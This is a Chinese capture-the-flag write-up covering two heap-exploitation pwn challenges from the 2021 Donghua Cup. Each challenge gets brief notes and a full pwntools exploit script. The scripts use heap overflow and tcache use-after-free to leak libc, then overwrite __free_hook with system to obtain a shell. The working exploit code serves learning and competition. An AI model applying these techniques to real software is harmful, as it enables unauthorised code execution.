【pwn】2021 东华杯（部分)
2021东华杯部分pwn题...
【pwn】2021 东华杯（部分)
1、cpp1
典中典之堆溢出，改俩堆块重叠进入unsorted bin，然后申请其中一个回来，就能泄露libc。
之后就是堆溢出改fd为free_hook写入system
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2021/10/31 12:57:01
# -----------------------------------
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys, subprocess, warnings, os
from rpyc import lib
def ret2libc(addr,func,binary=null):
libc = LibcSearcher(func,addr) if binary == null else binary
libc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]
system = libc.address+libc.dump('system') if binary == null else libc.sym['system']
binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))
leak('libc_base',libc.address)
leak('system',system)
leak('binsh',binsh)
return(system,binsh)
def hack(pwn):
global io,binary,libc
times = 0
while True:
try:
times += 1
clear()
info(f'time --> {times}')
pwn()
except:
io.close()
io = getprocess()
def init(binary):
global arglen, elf, path , libc, context, io, Clib
arglen = len(sys.argv)
warnings.filterwarnings('ignore')
context.terminal = ['gnome-terminal','-x', 'bash','-c']
elf = ELF(binary)
path = libcpath(binary)
libc = ELF(path)
libc.path = path
Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null
context.arch = elfbit(binary)
io = getprocess()
s = lambda data : io.send(data)
sa = lambda rv,data : io.sendafter(rv,data)
sl = lambda data : io.sendline(data)
sla = lambda rv,data : io.sendlineafter(rv,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia = lambda : io.interactive()
l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info = lambda data : log.info(f'\033[36m{data}\033[0m')
pau = lambda : pause() if DEBUG else null
dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc = lambda leak,func : leak - libc.sym[func]
elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear = lambda : os.system('clear')
# context.log_level='debug'
DEBUG = 1
GLIBC = 1
binary = './pwn'
init(binary)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
def cmd(idx):
sla(">>",str(idx))
def add(index,size):
cmd(1)
sla("I:>>",str(index))
sla("S:>>",str(size))
def edit(index,content):
cmd(2)
sla("I:>>",str(index))
sa("V:>>",content)
def show(index):
cmd(3)
sla("I:>>",str(index))
def free(index):
cmd(4)
sla("I:>>",str(index))
add(0,0x58)
add(1,0x58)
add(2,0x58)
add(3,0x58)
for i in range(7):
add(i+4,0xb8)
for i in range(7):
free(i+4)
edit(0,b"b"*0x50+p64(0)+p64(0x60+0x60+1)+b"\n")
free(1)
add(1,0x58)
show(1)
libc.address = l64() - (0x7f8e3ecc1be0-0x7f8e3ead6000) - 0xb0
leak("libc_base",libc.address)
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]
add(4,0x58)
free(0)
free(2)
edit(4,p64(free_hook)+b"\n")
add(2,0x58)
add(5,0x58)
edit(5,p64(system_addr)+b"\n")
edit(3,"sh\n")
free(3)
ia()
2、gcc2
典中典之uaf，但2.31的uaf真没见过。比赛结束找pwn神师傅问了问，改tcache控制块泄露ilbc。反正是我没学过的点，这几天去把tcache康康。
泄露完就随便uaf洞随便打了，直接free_hook写入system
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2021/10/31 13:38:09
# -----------------------------------
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys, subprocess, warnings, os
def ret2libc(addr,func,binary=null):
libc = LibcSearcher(func,addr) if binary == null else binary
libc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]
system = libc.address+libc.dump('system') if binary == null else libc.sym['system']
binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))
leak('libc_base',libc.address)
leak('system',system)
leak('binsh',binsh)
return(system,binsh)
def hack(pwn):
global io,binary,libc
times = 0
while True:
try:
times += 1
clear()
info(f'time --> {times}')
pwn()
except:
io.close()
io = getprocess()
def init(binary):
global arglen, elf, path , libc, context, io, Clib
arglen = len(sys.argv)
warnings.filterwarnings('ignore')
context.terminal = ['gnome-terminal','-x', 'bash','-c']
elf = ELF(binary)
path = libcpath(binary)
libc = ELF(path)
libc.path = path
Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null
context.arch = elfbit(binary)
io = getprocess()
s = lambda data : io.send(data)
sa = lambda rv,data : io.sendafter(rv,data)
sl = lambda data : io.sendline(data)
sla = lambda rv,data : io.sendlineafter(rv,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia = lambda : io.interactive()
l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info = lambda data : log.info(f'\033[36m{data}\033[0m')
pau = lambda : pause() if DEBUG else null
dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc = lambda leak,func : leak - libc.sym[func]
elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear = lambda : os.system('clear')
# context.log_level='debug'
DEBUG = 1
GLIBC = 1
binary = './pwn'
init(binary)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
def cmd(idx):
sla(">>",str(idx))
def add(index,size):
cmd(1)
sla("I:>>",str(index))
sla("S:>>",str(size))
def edit(index,content):
cmd(2)
sla("I:>>",str(index))
sa("V:>>",content)
def show(index):
cmd(3)
sla("I:>>",str(index))
def free(index):
cmd(4)
sla("I:>>",str(index))
for i in range(9):
add(i,0x67)
for i in range(7):
free(i)
show(1)
chunk_addr = uu64(ru("\x55",False)[-6:]) - 0x12ec0
leak("chunk_addr",chunk_addr)
edit(6,p64(chunk_addr+0x10)+b"\n")
add(9,0x67)
add(10,0x67)
edit(10,b'\x07'*0x50+b"\n")
free(10)
show(10)
libc.address = l64() - 0x1ebbe0
leak("libc_base",libc.address)
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]
edit(10,b'\x00'*0x50+b"\n")
free(2)
free(3)
edit(3,p64(free_hook)+b"\n")
add(11,0x67)
add(12,0x67)
edit(12,p64(system_addr)+b"\n")
edit(4,b"sh\n")
free(4)
ia()
3、后记
tcache真的做的太少了（其实都做的少），之后补补。
还有，更改libc千万不要选错，第一题一开始一直在用2.32打，永远是free_hook写入了tcache然后申请一个就写成其他乱七八糟的地址了。2.32真滴难，有时间系统学学QAQ。
thanks for reading :: enf of this article :: Read other posts